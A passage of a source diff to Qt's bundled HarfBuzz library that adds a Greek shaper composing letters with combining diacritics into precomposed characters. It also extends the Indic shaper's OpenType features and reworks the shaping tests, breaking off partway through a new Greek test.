+++ b/src/3rdparty/harfbuzz/src/Makefile.am
@@ -12,7 +12,8 @@ MAINSOURCES =  \
 	harfbuzz-impl.c \
 	harfbuzz-open.c \
 	harfbuzz-shaper.cpp \
-	harfbuzz-tibetan.c \
+        harfbuzz-greek.c \
+        harfbuzz-tibetan.c \
 	harfbuzz-khmer.c \
 	harfbuzz-indic.cpp \
 	harfbuzz-hebrew.c \
diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-greek.c b/src/3rdparty/harfbuzz/src/harfbuzz-greek.c
new file mode 100644
index 0000000..2e9b858
--- /dev/null
+++ b/src/3rdparty/harfbuzz/src/harfbuzz-greek.c
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * This is part of HarfBuzz, an OpenType Layout engine library.
+ *
+ * Permission is hereby granted, without written agreement and without
+ * license or royalty fees, to use, copy, modify, and distribute this
+ * software and its documentation for any purpose, provided that the
+ * above copyright notice and the following two paragraphs appear in
+ * all copies of this software.
+ *
+ * IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR
+ * DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
+ * ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN
+ * IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING,
+ * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+ * FITNESS FOR A PARTICULAR PURPOSE.  THE SOFTWARE PROVIDED HEREUNDER IS
+ * ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO
+ * PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+ */
+
+#include "harfbuzz-shaper.h"
+#include "harfbuzz-shaper-private.h"
+#include <assert.h>
+
+#ifndef NO_OPENTYPE
+static const HB_OpenTypeFeature greek_features[] = {
+    { HB_MAKE_TAG('c', 'c', 'm', 'p'), CcmpProperty },
+    { HB_MAKE_TAG('l', 'i', 'g', 'a'), CcmpProperty },
+    { HB_MAKE_TAG('c', 'l', 'i', 'g'), CcmpProperty },
+    {0, 0}
+};
+#endif
+
+/*
+  Greek decompositions
+*/
+
+
+typedef struct _hb_greek_decomposition {
+    HB_UChar16 composed;
+    HB_UChar16 base;
+} hb_greek_decomposition;
+
+static const hb_greek_decomposition decompose_0x300[] = {
+    { 0x1FBA, 0x0391 },
+    { 0x1FC8, 0x0395 },
+    { 0x1FCA, 0x0397 },
+    { 0x1FDA, 0x0399 },
+    { 0x1FF8, 0x039F },
+    { 0x1FEA, 0x03A5 },
+    { 0x1FFA, 0x03A9 },
+    { 0x1F70, 0x03B1 },
+    { 0x1F72, 0x03B5 },
+    { 0x1F74, 0x03B7 },
+    { 0x1F76, 0x03B9 },
+    { 0x1F78, 0x03BF },
+    { 0x1F7A, 0x03C5 },
+    { 0x1F7C, 0x03C9 },
+    { 0x1FD2, 0x03CA },
+    { 0x1FE2, 0x03CB },
+    { 0x1F02, 0x1F00 },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x300(HB_UChar16 base)
+{
+    if ((base ^ 0x1f00) < 0x100) {
+        if (base <= 0x1f69 && !(base & 0x6))
+            return base + 2;
+        if (base == 0x1fbf)
+            return 0x1fcd;
+        if (base == 0x1ffe)
+            return 0x1fdd;
+        return 0;
+    }
+    {
+        const hb_greek_decomposition *d = decompose_0x300;
+        while (d->base && d->base != base)
+            ++d;
+        return d->composed;
+    }
+}
+
+static const hb_greek_decomposition decompose_0x301[] = {
+    { 0x0386, 0x0391 },
+    { 0x0388, 0x0395 },
+    { 0x0389, 0x0397 },
+    { 0x038A, 0x0399 },
+    { 0x038C, 0x039F },
+    { 0x038E, 0x03A5 },
+    { 0x038F, 0x03A9 },
+    { 0x03AC, 0x03B1 },
+    { 0x03AD, 0x03B5 },
+    { 0x03AE, 0x03B7 },
+    { 0x03AF, 0x03B9 },
+    { 0x03CC, 0x03BF },
+    { 0x03CD, 0x03C5 },
+    { 0x03CE, 0x03C9 },
+    { 0x0390, 0x03CA },
+    { 0x03B0, 0x03CB },
+    { 0x03D3, 0x03D2 },
+    { 0, 0 }
+};
+
+
+static HB_UChar16 compose_0x301(HB_UChar16 base)
+{
+    if ((base ^ 0x1f00) < 0x100) {
+        if (base <= 0x1f69 && !(base & 0x6))
+            return base + 4;
+        if (base == 0x1fbf)
+            return 0x1fce;
+        if (base == 0x1ffe)
+            return 0x1fde;
+    }
+    {
+        const hb_greek_decomposition *d = decompose_0x301;
+        while (d->base && d->base != base)
+            ++d;
+        return d->composed;
+    }
+}
+
+static const hb_greek_decomposition decompose_0x304[] = {
+    { 0x1FB9, 0x0391 },
+    { 0x1FD9, 0x0399 },
+    { 0x1FE9, 0x03A5 },
+    { 0x1FB1, 0x03B1 },
+    { 0x1FD1, 0x03B9 },
+    { 0x1FE1, 0x03C5 },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x304(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x304;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+static const hb_greek_decomposition decompose_0x306[] = {
+    { 0x1FB8, 0x0391 },
+    { 0x1FD8, 0x0399 },
+    { 0x1FE8, 0x03A5 },
+    { 0x1FB0, 0x03B1 },
+    { 0x1FD0, 0x03B9 },
+    { 0x1FE0, 0x03C5 },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x306(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x306;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+static const hb_greek_decomposition decompose_0x308[] = {
+    { 0x03AA, 0x0399  },
+    { 0x03AB, 0x03A5  },
+    { 0x03CA, 0x03B9  },
+    { 0x03CB, 0x03C5  },
+    { 0x03D4, 0x03D2  },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x308(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x308;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+
+static const hb_greek_decomposition decompose_0x313[] = {
+    { 0x1F08, 0x0391 },
+    { 0x1F18, 0x0395 },
+    { 0x1F28, 0x0397 },
+    { 0x1F38, 0x0399 },
+    { 0x1F48, 0x039F },
+    { 0x1F68, 0x03A9 },
+    { 0x1F00, 0x03B1 },
+    { 0x1F10, 0x03B5 },
+    { 0x1F20, 0x03B7 },
+    { 0x1F30, 0x03B9 },
+    { 0x1F40, 0x03BF },
+    { 0x1FE4, 0x03C1 },
+    { 0x1F50, 0x03C5 },
+    { 0x1F60, 0x03C9 },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x313(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x313;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+static const hb_greek_decomposition decompose_0x314[] = {
+    { 0x1F09, 0x0391 },
+    { 0x1F19, 0x0395 },
+    { 0x1F29, 0x0397 },
+    { 0x1F39, 0x0399 },
+    { 0x1F49, 0x039F },
+    { 0x1FEC, 0x03A1 },
+    { 0x1F59, 0x03A5 },
+    { 0x1F69, 0x03A9 },
+    { 0x1F01, 0x03B1 },
+    { 0x1F11, 0x03B5 },
+    { 0x1F21, 0x03B7 },
+    { 0x1F31, 0x03B9 },
+    { 0x1F41, 0x03BF },
+    { 0x1FE5, 0x03C1 },
+    { 0x1F51, 0x03C5 },
+    { 0x1F61, 0x03C9 },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x314(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x314;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+static const hb_greek_decomposition decompose_0x342[] = {
+    { 0x1FB6, 0x03B1 },
+    { 0x1FC6, 0x03B7 },
+    { 0x1FD6, 0x03B9 },
+    { 0x1FE6, 0x03C5 },
+    { 0x1FF6, 0x03C9 },
+    { 0x1FD7, 0x03CA },
+    { 0x1FE7, 0x03CB },
+    { 0x1F06, 0x1F00 },
+    { 0x1F07, 0x1F01 },
+    { 0x1F0E, 0x1F08 },
+    { 0x1F0F, 0x1F09 },
+    { 0x1F26, 0x1F20 },
+    { 0x1F27, 0x1F21 },
+    { 0x1F2E, 0x1F28 },
+    { 0x1F2F, 0x1F29 },
+    { 0x1F36, 0x1F30 },
+    { 0x1F37, 0x1F31 },
+    { 0x1F3E, 0x1F38 },
+    { 0x1F3F, 0x1F39 },
+    { 0x1F56, 0x1F50 },
+    { 0x1F57, 0x1F51 },
+    { 0x1F5F, 0x1F59 },
+    { 0x1F66, 0x1F60 },
+    { 0x1F67, 0x1F61 },
+    { 0x1F6E, 0x1F68 },
+    { 0x1F6F, 0x1F69 },
+    { 0x1FCF, 0x1FBF },
+    { 0x1FDF, 0x1FFE },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x342(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x342;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+static const hb_greek_decomposition decompose_0x345[] = {
+    { 0x1FBC, 0x0391 },
+    { 0x1FCC, 0x0397 },
+    { 0x1FFC, 0x03A9 },
+    { 0x1FB4, 0x03AC },
+    { 0x1FC4, 0x03AE },
+    { 0x1FB3, 0x03B1 },
+    { 0x1FC3, 0x03B7 },
+    { 0x1FF3, 0x03C9 },
+    { 0x1FF4, 0x03CE },
+    { 0x1F80, 0x1F00 },
+    { 0x1F81, 0x1F01 },
+    { 0x1F82, 0x1F02 },
+    { 0x1F83, 0x1F03 },
+    { 0x1F84, 0x1F04 },
+    { 0x1F85, 0x1F05 },
+    { 0x1F86, 0x1F06 },
+    { 0x1F87, 0x1F07 },
+    { 0x1F88, 0x1F08 },
+    { 0x1F89, 0x1F09 },
+    { 0x1F8A, 0x1F0A },
+    { 0x1F8B, 0x1F0B },
+    { 0x1F8C, 0x1F0C },
+    { 0x1F8D, 0x1F0D },
+    { 0x1F8E, 0x1F0E },
+    { 0x1F8F, 0x1F0F },
+    { 0x1F90, 0x1F20 },
+    { 0x1F91, 0x1F21 },
+    { 0x1F92, 0x1F22 },
+    { 0x1F93, 0x1F23 },
+    { 0x1F94, 0x1F24 },
+    { 0x1F95, 0x1F25 },
+    { 0x1F96, 0x1F26 },
+    { 0x1F97, 0x1F27 },
+    { 0x1F98, 0x1F28 },
+    { 0x1F99, 0x1F29 },
+    { 0x1F9A, 0x1F2A },
+    { 0x1F9B, 0x1F2B },
+    { 0x1F9C, 0x1F2C },
+    { 0x1F9D, 0x1F2D },
+    { 0x1F9E, 0x1F2E },
+    { 0x1F9F, 0x1F2F },
+    { 0x1FA0, 0x1F60 },
+    { 0x1FA1, 0x1F61 },
+    { 0x1FA2, 0x1F62 },
+    { 0x1FA3, 0x1F63 },
+    { 0x1FA4, 0x1F64 },
+    { 0x1FA5, 0x1F65 },
+    { 0x1FA6, 0x1F66 },
+    { 0x1FA7, 0x1F67 },
+    { 0x1FA8, 0x1F68 },
+    { 0x1FA9, 0x1F69 },
+    { 0x1FAA, 0x1F6A },
+    { 0x1FAB, 0x1F6B },
+    { 0x1FAC, 0x1F6C },
+    { 0x1FAD, 0x1F6D },
+    { 0x1FAE, 0x1F6E },
+    { 0x1FAF, 0x1F6F },
+    { 0x1FB2, 0x1F70 },
+    { 0x1FC2, 0x1F74 },
+    { 0x1FF2, 0x1F7C },
+    { 0x1FB7, 0x1FB6 },
+    { 0x1FC7, 0x1FC6 },
+    { 0x1FF7, 0x1FF6 },
+    { 0, 0 }
+};
+
+static HB_UChar16 compose_0x345(HB_UChar16 base)
+{
+    const hb_greek_decomposition *d = decompose_0x345;
+    while (d->base && d->base != base)
+        ++d;
+    return d->composed;
+}
+
+/*
+  Greek shaping. Heuristic positioning can't render polytonic greek correctly. We're a lot
+  better off mapping greek chars with diacritics to the characters in the extended greek
+  region in Unicode if possible.
+*/
+HB_Bool HB_GreekShape(HB_ShaperItem *shaper_item)
+{
+    const int availableGlyphs = shaper_item->num_glyphs;
+    const HB_UChar16 *uc = shaper_item->string + shaper_item->item.pos;
+    unsigned short *logClusters = shaper_item->log_clusters;
+    HB_GlyphAttributes *attributes = shaper_item->attributes;
+
+    HB_Bool haveGlyphs;
+    int slen = 1;
+    int cluster_start = 0;
+    hb_uint32 i;
+
+    HB_STACKARRAY(HB_UChar16, shapedChars, 2 * shaper_item->item.length);
+
+    assert(shaper_item->item.script == HB_Script_Greek);
+
+    *shapedChars = *uc;
+    logClusters[0] = 0;
+
+    for (i = 1; i < shaper_item->item.length; ++i) {
+        hb_uint16 base = shapedChars[slen-1];
+        hb_uint16 shaped = 0;
+        if (uc[i] == 0x300)
+            shaped = compose_0x300(base);
+        else if (uc[i] == 0x301)
+            shaped = compose_0x301(base);
+        else if (uc[i] == 0x304)
+            shaped = compose_0x304(base);
+        else if (uc[i] == 0x306)
+            shaped = compose_0x306(base);
+        else if (uc[i] == 0x308)
+            shaped = compose_0x308(base);
+        else if (uc[i] == 0x313)
+            shaped = compose_0x313(base);
+        else if (uc[i] == 0x314)
+            shaped = compose_0x314(base);
+        else if (uc[i] == 0x342)
+            shaped = compose_0x342(base);
+        else if (uc[i] == 0x345)
+            shaped = compose_0x345(base);
+
+        if (shaped) {
+            if (shaper_item->font->klass->canRender(shaper_item->font, (HB_UChar16 *)&shaped, 1)) {
+                shapedChars[slen-1] = shaped;
+            } else {
+                shaped = 0;
+            }
+        }
+
+        if (!shaped) {
+            HB_CharCategory category;
+            int cmb;
+            shapedChars[slen] = uc[i];
+            HB_GetUnicodeCharProperties(uc[i], &category, &cmb);
+            if (category != HB_Mark_NonSpacing) {
+                attributes[slen].clusterStart = TRUE;
+                attributes[slen].mark = FALSE;
+                attributes[slen].combiningClass = 0;
+                attributes[slen].dontPrint = HB_IsControlChar(uc[i]);
+                cluster_start = slen;
+            } else {
+                attributes[slen].clusterStart = FALSE;
+                attributes[slen].mark = TRUE;
+                attributes[slen].combiningClass = cmb;
+            }
+            ++slen;
+        }
+        logClusters[i] = cluster_start;
+    }
+
+    haveGlyphs = shaper_item->font->klass
+        ->convertStringToGlyphIndices(shaper_item->font,
+                                      shapedChars, slen,
+                                      shaper_item->glyphs, &shaper_item->num_glyphs,
+                                      shaper_item->item.bidiLevel % 2);
+
+    HB_FREE_STACKARRAY(shapedChars);
+
+    if (!haveGlyphs)
+        return FALSE;
+
+#ifndef NO_OPENTYPE
+    if (HB_SelectScript(shaper_item, greek_features)) {
+        HB_OpenTypeShape(shaper_item, /*properties*/0);
+        return HB_OpenTypePosition(shaper_item, availableGlyphs, /*doLogClusters*/TRUE);
+    }
+#endif
+    HB_HeuristicPosition(shaper_item);
+
+    return TRUE;
+}
+
diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-indic.cpp b/src/3rdparty/harfbuzz/src/harfbuzz-indic.cpp
index 3c9df93..4d8418b 100644
--- a/src/3rdparty/harfbuzz/src/harfbuzz-indic.cpp
+++ b/src/3rdparty/harfbuzz/src/harfbuzz-indic.cpp
@@ -1107,6 +1107,7 @@ static inline void splitMatra(unsigned short *reordered, int matra, int &len)
 
 #ifndef NO_OPENTYPE
 static const HB_OpenTypeFeature indic_features[] = {
+    { HB_MAKE_TAG('l', 'o', 'c', 'a'), LocaProperty },
     { HB_MAKE_TAG('c', 'c', 'm', 'p'), CcmpProperty },
     { HB_MAKE_TAG('i', 'n', 'i', 't'), InitProperty },
     { HB_MAKE_TAG('n', 'u', 'k', 't'), NuktaProperty },
@@ -1115,12 +1116,14 @@ static const HB_OpenTypeFeature indic_features[] = {
     { HB_MAKE_TAG('b', 'l', 'w', 'f'), BelowFormProperty },
     { HB_MAKE_TAG('h', 'a', 'l', 'f'), HalfFormProperty },
     { HB_MAKE_TAG('p', 's', 't', 'f'), PostFormProperty },
+    { HB_MAKE_TAG('c', 'j', 'c', 't'), ConjunctFormProperty },
     { HB_MAKE_TAG('v', 'a', 't', 'u'), VattuProperty },
     { HB_MAKE_TAG('p', 'r', 'e', 's'), PreSubstProperty },
     { HB_MAKE_TAG('b', 'l', 'w', 's'), BelowSubstProperty },
     { HB_MAKE_TAG('a', 'b', 'v', 's'), AboveSubstProperty },
     { HB_MAKE_TAG('p', 's', 't', 's'), PostSubstProperty },
     { HB_MAKE_TAG('h', 'a', 'l', 'n'), HalantProperty },
+    { HB_MAKE_TAG('c', 'a', 'l', 't'), IndicCaltProperty },
     { 0, 0 }
 };
 #endif
@@ -1148,6 +1151,8 @@ static QString propertiesToString(int properties)
 {
     QString res;
     properties = ~properties;
+    if (properties & LocaProperty)
+        res += "Loca ";
     if (properties & CcmpProperty)
         res += "Ccmp ";
     if (properties & InitProperty)
@@ -1168,6 +1173,8 @@ static QString propertiesToString(int properties)
         res += "HalfForm ";
     if (properties & PostFormProperty)
         res += "PostForm ";
+    if (properties & ConjunctFormProperty)
+        res += "PostForm ";
     if (properties & VattuProperty)
         res += "Vattu ";
     if (properties & PreSubstProperty)
@@ -1182,6 +1189,8 @@ static QString propertiesToString(int properties)
         res += "Halant ";
     if (properties & CligProperty)
         res += "Clig ";
+    if (properties & IndicCaltProperty)
+        res += "Calt ";
     return res;
 }
 #endif
@@ -1296,10 +1305,15 @@ static bool indic_shape_syllable(HB_Bool openType, HB_ShaperItem *item, bool inv
             }
             int skipped = 0;
             Position pos = Post;
-            for (i = len-1; i > base; i--) {
+            for (i = len-1; i >= base; i--) {
                 if (position[i] != Consonant && (position[i] != Control || script == HB_Script_Kannada))
                     continue;
 
+                if (i < len-1 && position[i] == Control && position[i+1] == Consonant) {
+                    base = i+1;
+                    break;
+                }
+
                 Position charPosition = indic_position(uc[i]);
                 if (pos == Post && charPosition == Post) {
                     pos = Post;
@@ -1545,16 +1559,20 @@ static bool indic_shape_syllable(HB_Bool openType, HB_ShaperItem *item, bool inv
 
         // features we should always apply
         for (i = 0; i < len; ++i)
-            properties[i] = ~(CcmpProperty
+            properties[i] = ~(LocaProperty
+                              | CcmpProperty
                               | NuktaProperty
                               | VattuProperty
+                              | ConjunctFormProperty
                               | PreSubstProperty
                               | BelowSubstProperty
                               | AboveSubstProperty
                               | PostSubstProperty
                               | HalantProperty
+                              | IndicCaltProperty
                               | PositioningProperties);
 
+        // Loca always applies
         // Ccmp always applies
         // Init
         if (item->item.pos == 0
@@ -1611,6 +1629,7 @@ static bool indic_shape_syllable(HB_Bool openType, HB_ShaperItem *item, bool inv
         // abvs always applies
         // psts always applies
         // halant always applies
+        // calt always applies
 
 #ifdef INDIC_DEBUG
 //        {
diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp
index d2f902f..2dae501 100644
--- a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp
+++ b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp
@@ -25,6 +25,7 @@
 #include "harfbuzz-shaper.cpp"
 #include "harfbuzz-indic.cpp"
 extern "C" {
+#include "harfbuzz-greek.c"
 #include "harfbuzz-tibetan.c"
 #include "harfbuzz-khmer.c"
 #include "harfbuzz-hebrew.c"
diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h
index 80bccf8..e1360c7 100644
--- a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h
+++ b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h
@@ -57,34 +57,37 @@ typedef enum
 } HB_CombiningClass;
 
 typedef enum {
-    CcmpProperty = 0x1,
-    InitProperty = 0x2,
-    IsolProperty = 0x4,
-    FinaProperty = 0x8,
-    MediProperty = 0x10,
-    RligProperty = 0x20,
-    CaltProperty = 0x40,
-    LigaProperty = 0x80,
-    DligProperty = 0x100,
-    CswhProperty = 0x200,
-    MsetProperty = 0x400,
+    LocaProperty = 0x1,
+    CcmpProperty = 0x2,
+    InitProperty = 0x4,
+    IsolProperty = 0x8,
+    FinaProperty = 0x10,
+    MediProperty = 0x20,
+    RligProperty = 0x40,
+    CaltProperty = 0x80,
+    LigaProperty = 0x100,
+    DligProperty = 0x200,
+    CswhProperty = 0x400,
+    MsetProperty = 0x800,
 
     /* used by indic and myanmar shaper */
-    NuktaProperty = 0x4,
-    AkhantProperty = 0x8,
-    RephProperty = 0x10,
-    PreFormProperty = 0x20,
-    BelowFormProperty = 0x40,
-    AboveFormProperty = 0x80,
-    HalfFormProperty = 0x100,
-    PostFormProperty = 0x200,
-    VattuProperty = 0x400,
-    PreSubstProperty = 0x800,
-    BelowSubstProperty = 0x1000,
-    AboveSubstProperty = 0x2000,
-    PostSubstProperty = 0x4000,
-    HalantProperty = 0x8000,
-    CligProperty = 0x10000
+    NuktaProperty = 0x8,
+    AkhantProperty = 0x10,
+    RephProperty = 0x20,
+    PreFormProperty = 0x40,
+    BelowFormProperty = 0x80,
+    AboveFormProperty = 0x100,
+    HalfFormProperty = 0x200,
+    PostFormProperty = 0x400,
+    ConjunctFormProperty = 0x800,
+    VattuProperty = 0x1000,
+    PreSubstProperty = 0x2000,
+    BelowSubstProperty = 0x4000,
+    AboveSubstProperty = 0x8000,
+    PostSubstProperty = 0x10000,
+    HalantProperty = 0x20000,
+    CligProperty = 0x40000,
+    IndicCaltProperty = 0x80000
 
 } HB_OpenTypeProperty;
 
@@ -100,6 +103,7 @@ typedef struct {
 extern const HB_ScriptEngine hb_scriptEngines[];
 
 extern HB_Bool HB_BasicShape(HB_ShaperItem *shaper_item);
+extern HB_Bool HB_GreekShape(HB_ShaperItem *shaper_item);
 extern HB_Bool HB_TibetanShape(HB_ShaperItem *shaper_item);
 extern HB_Bool HB_HebrewShape(HB_ShaperItem *shaper_item);
 extern HB_Bool HB_ArabicShape(HB_ShaperItem *shaper_item);
diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp b/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp
index bfc7bd4..4bc53c8 100644
--- a/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp
+++ b/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp
@@ -587,7 +587,7 @@ const HB_ScriptEngine HB_ScriptEngines[] = {
     // Common
     { HB_BasicShape, 0},
     // Greek
-    { HB_BasicShape, 0},
+    { HB_GreekShape, 0},
     // Cyrillic
     { HB_BasicShape, 0},
     // Armenian
diff --git a/src/3rdparty/harfbuzz/tests/shaping/main.cpp b/src/3rdparty/harfbuzz/tests/shaping/main.cpp
index 827ac30..28f8e07 100644
--- a/src/3rdparty/harfbuzz/tests/shaping/main.cpp
+++ b/src/3rdparty/harfbuzz/tests/shaping/main.cpp
@@ -136,13 +136,13 @@ HB_Error hb_getPointInOutline(HB_Font font, HB_Glyph glyph, int flags, hb_uint32
     return HB_Err_Ok;
 }
 
-void hb_getGlyphMetrics(HB_Font font, HB_Glyph glyph, HB_GlyphMetrics *metrics)
+void hb_getGlyphMetrics(HB_Font, HB_Glyph, HB_GlyphMetrics *metrics)
 {
     // ###
     metrics->x = metrics->y = metrics->width = metrics->height = metrics->xOffset = metrics->yOffset = 0;
 }
 
-HB_Fixed hb_getFontMetric(HB_Font font, HB_FontMetric metric)
+HB_Fixed hb_getFontMetric(HB_Font, HB_FontMetric )
 {
     return 0; // ####
 }
@@ -169,6 +169,8 @@ public slots:
     void initTestCase();
     void cleanupTestCase();
 private slots:
+    void greek();
+
     void devanagari();
     void bengali();
     void gurmukhi();
@@ -203,18 +205,25 @@ void tst_QScriptEngine::cleanupTestCase()
     FT_Done_FreeType(freetype);
 }
 
-struct ShapeTable {
-    unsigned short unicode[16];
-    unsigned short glyphs[16];
+class Shaper
+{
+public:
+    Shaper(FT_Face face, HB_Script script, const QString &str);
+
+    HB_FontRec hbFont;
+    HB_ShaperItem shaper_item;
+    QVarLengthArray<HB_Glyph> hb_glyphs;
+    QVarLengthArray<HB_GlyphAttributes> hb_attributes;
+    QVarLengthArray<HB_Fixed> hb_advances;
+    QVarLengthArray<HB_FixedPoint> hb_offsets;
+    QVarLengthArray<unsigned short> hb_logClusters;
+
 };
 
-static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
+Shaper::Shaper(FT_Face face, HB_Script script, const QString &str)
 {
-    QString str = QString::fromUtf16( s->unicode );
-
     HB_Face hbFace = HB_NewFace(face, hb_getSFntTable);
 
-    HB_FontRec hbFont;
     hbFont.klass = &hb_fontClass;
     hbFont.userData = face;
     hbFont.x_ppem  = face->size->metrics.x_ppem;
@@ -222,7 +231,6 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
     hbFont.x_scale = face->size->metrics.x_scale;
     hbFont.y_scale = face->size->metrics.y_scale;
 
-    HB_ShaperItem shaper_item;
     shaper_item.kerning_applied = false;
     shaper_item.string = reinterpret_cast<const HB_UChar16 *>(str.constData());
     shaper_item.stringLength = str.length();
@@ -237,11 +245,6 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
     shaper_item.glyphIndicesPresent = false;
     shaper_item.initialGlyphCount = 0;
 
-    QVarLengthArray<HB_Glyph> hb_glyphs(shaper_item.num_glyphs);
-    QVarLengthArray<HB_GlyphAttributes> hb_attributes(shaper_item.num_glyphs);
-    QVarLengthArray<HB_Fixed> hb_advances(shaper_item.num_glyphs);
-    QVarLengthArray<HB_FixedPoint> hb_offsets(shaper_item.num_glyphs);
-    QVarLengthArray<unsigned short> hb_logClusters(shaper_item.num_glyphs);
 
     while (1) {
         hb_glyphs.resize(shaper_item.num_glyphs);
@@ -263,10 +266,66 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
 
         if (HB_ShapeItem(&shaper_item))
             break;
-
     }
 
     HB_FreeFace(hbFace);
+}
+
+
+static bool decomposedShaping(FT_Face face, HB_Script script, const QChar &ch)
+{
+    QString uc = QString().append(ch);
+    Shaper shaper(face, script, uc);
+
+    uc = uc.normalized(QString::NormalizationForm_D);
+    Shaper decomposed(face, script, uc);
+
+    if( shaper.shaper_item.num_glyphs != decomposed.shaper_item.num_glyphs )
+        goto error;
+
+    for (unsigned int i = 0; i < shaper.shaper_item.num_glyphs; ++i) {
+        if ((shaper.shaper_item.glyphs[i]&0xffffff) != (decomposed.shaper_item.glyphs[i]&0xffffff))
+            goto error;
+    }
+    return true;
+ error:
+    QString str = "";
+    int i = 0;
+    while (i < uc.length()) {
+        str += QString("%1 ").arg(uc[i].unicode(), 4, 16);
+        ++i;
+    }
+    qDebug("%s: decomposedShaping of char %4x failed\n    decomposedString: %s\n   nglyphs=%d, decomposed nglyphs %d",
+           face->family_name,
+           ch.unicode(), str.toLatin1().data(),
+           shaper.shaper_item.num_glyphs,
+           decomposed.shaper_item.num_glyphs);
+
+    str = "";
+    i = 0;
+    while (i < shaper.shaper_item.num_glyphs) {
+        str += QString("%1 ").arg(shaper.shaper_item.glyphs[i], 4, 16);
+        ++i;
+    }
+    qDebug("    composed glyph result   = %s", str.toLatin1().constData());
+    str = "";
+    i = 0;
+    while (i < decomposed.shaper_item.num_glyphs) {
+        str += QString("%1 ").arg(decomposed.shaper_item.glyphs[i], 4, 16);
+        ++i;
+    }
+    qDebug("    decomposed glyph result = %s", str.toLatin1().constData());
+    return false;
+}
+
+struct ShapeTable {
+    unsigned short unicode[16];
+    unsigned short glyphs[16];
+};
+
+static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
+{
+    Shaper shaper(face, script, QString::fromUtf16( s->unicode ));
 
     hb_uint32 nglyphs = 0;
     const unsigned short *g = s->glyphs;
@@ -275,16 +334,16 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
 	g++;
     }
 
-    if( nglyphs != shaper_item.num_glyphs )
+    if( nglyphs != shaper.shaper_item.num_glyphs )
 	goto error;
 
     for (hb_uint32 i = 0; i < nglyphs; ++i) {
-	if ((shaper_item.glyphs[i]&0xffffff) != s->glyphs[i])
+        if ((shaper.shaper_item.glyphs[i]&0xffffff) != s->glyphs[i])
 	    goto error;
     }
     return true;
  error:
-    str = "";
+    QString str = "";
     const unsigned short *uc = s->unicode;
     while (*uc) {
 	str += QString("%1 ").arg(*uc, 4, 16);
@@ -293,18 +352,78 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script)
     qDebug("%s: shaping of string %s failed, nglyphs=%d, expected %d",
            face->family_name,
            str.toLatin1().constData(),
-           shaper_item.num_glyphs, nglyphs);
+           shaper.shaper_item.num_glyphs, nglyphs);
 
     str = "";
     hb_uint32 i = 0;
-    while (i < shaper_item.num_glyphs) {
-	str += QString("%1 ").arg(shaper_item.glyphs[i], 4, 16);
+    while (i < shaper.shaper_item.num_glyphs) {
+        str += QString("%1 ").arg(shaper.shaper_item.glyphs[i], 4, 16);
 	++i;
     }
     qDebug("    glyph result = %s", str.toLatin1().constData());
     return false;
 }
 
+
+void tst_QScriptEngine::greek()
+{
+    FT_Face face = loadFace("DejaVuSans.ttf");
+    if (face) {
+        for (int uc = 0x1f00; uc <= 0x1fff; ++uc) {
+            QString str;
+            str.append(uc);
+            if (str.normalized(QString::NormalizationForm_D).normalized(QString::NormalizationForm_C) != str) {
+                //qDebug() << "skipping" << hex << uc;
+                continue;
+            }
+            if (uc == 0x1fc1 || uc == 0x1fed)
+                continue;
+            QVERIFY( decomposedShaping(face, HB_Script_Greek, QChar(uc)) );
+        }
+        FT_Done_Face(face);
+    } else {
